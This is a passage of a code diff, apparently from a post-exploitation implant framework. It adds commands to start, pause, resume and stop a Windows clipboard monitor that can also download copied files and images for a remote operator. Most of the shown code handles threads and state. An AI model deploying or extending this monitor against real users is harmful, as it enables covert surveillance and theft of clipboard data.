DispatchMessageA(&msg);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// and we're done, switch off, and tell the caller we're done
|
||||
pState->bRunning = FALSE;
|
||||
destroy_clipboard_monitor_window(pState);
|
||||
event_signal(pState->hResponseEvent);
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread stopped");
|
||||
|
||||
} while (0);
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
return ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
}
|
||||
|
||||
VOID destroy_clipboard_monitor_state(ClipboardState* pState)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] Destroying clipboard monitor state");
|
||||
if (pState != NULL)
|
||||
{
|
||||
if (pState->hThread != NULL)
|
||||
{
|
||||
thread_destroy(pState->hThread);
|
||||
}
|
||||
if (pState->hPauseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hPauseEvent);
|
||||
}
|
||||
if (pState->hResumeEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResumeEvent);
|
||||
}
|
||||
if (pState->hResponseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResponseEvent);
|
||||
}
|
||||
|
||||
free(pState);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
ClipboardState* pState = NULL;
|
||||
char* lpClassName = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
if (gClipboardState != NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread already running", ERROR_ALREADY_INITIALIZED);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
|
||||
|
||||
pState = (ClipboardState*)malloc(sizeof(ClipboardState));
|
||||
if (pState == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard state", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
|
||||
memset(pState, 0, sizeof(ClipboardState));
|
||||
|
||||
lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
|
||||
if (lpClassName == NULL || strlen(lpClassName) == 0)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
|
||||
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
|
||||
|
||||
pState->bDownloadFiles = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES);
|
||||
pState->bDownloadImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES);
|
||||
|
||||
pState->hPauseEvent = event_create();
|
||||
pState->hResumeEvent = event_create();
|
||||
pState->hResponseEvent = event_create();
|
||||
|
||||
if (pState->hPauseEvent == NULL
|
||||
|| pState->hResumeEvent == NULL
|
||||
|| pState->hResponseEvent == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
|
||||
|
||||
if (pState->hThread == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard thread", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
gClipboardState = pState;
|
||||
thread_run(pState->hThread);
|
||||
|
||||
// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
|
||||
if (!event_poll(pState->hResponseEvent, 4000))
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (dwResult != ERROR_SUCCESS)
|
||||
{
|
||||
destroy_clipboard_monitor_state(pState);
|
||||
gClipboardState = NULL;
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
return ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
}
|
||||
|
||||
DWORD clipboard_monitor_pause(ClipboardState* pState)
|
||||
{
|
||||
if (pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hPauseEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD clipboard_monitor_resume(ClipboardState* pState)
|
||||
{
|
||||
if (!pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hResumeEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
if (gClipboardState == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Pausing clipboard monitor");
|
||||
|
||||
dwResult = clipboard_monitor_pause(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
return ERROR_NOT_SUPPORTED;
|
||||
#endif
|
||||
}
|
||||
|
||||
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
if (gClipboardState == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Resuming clipboard monitor");
|
||||
|
||||
dwResult = clipboard_monitor_resume(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
return ERROR_NOT_SUPPORTED;
|
||||
@ -459,6 +954,37 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
{
|
||||
#ifdef _WIN32
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
|
||||
do
|
||||
{
|
||||
if (gClipboardState == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOTHING_TO_TERMINATE);
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Starting clipboard monitor");
|
||||
|
||||
// resume in case we're paused
|
||||
clipboard_monitor_resume(gClipboardState);
|
||||
|
||||
// now stop the show
|
||||
event_signal(gClipboardState->hThread->sigterm);
|
||||
|
||||
// if they don't terminate in a reasonable period of time...
|
||||
if (!event_poll(gClipboardState->hResponseEvent, 10000))
|
||||
{
|
||||
// ... FINISH HIM!
|
||||
dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
|
||||
thread_kill(gClipboardState->hThread);
|
||||
}
|
||||
|
||||
destroy_clipboard_monitor_state(gClipboardState);
|
||||
gClipboardState = NULL;
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
#else
|
||||
return ERROR_NOT_SUPPORTED;
|
||||
|
@ -8,6 +8,8 @@
|
||||
DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
|
||||
DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
|
||||
|
||||
#endif
|
||||
|
@ -26,6 +26,8 @@ Command customCommands[] =
|
||||
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
|
||||
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
|
||||
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
|
||||
COMMAND_TERMINATOR
|
||||
};
|
||||
|
@ -42,4 +42,8 @@
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
|
||||
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_FILES MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 49)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_DOWNLOAD_IMAGES MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
|
||||
#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
|
||||
|
||||
#endif
|
||||
|
Loading…
Reference in New Issue
Block a user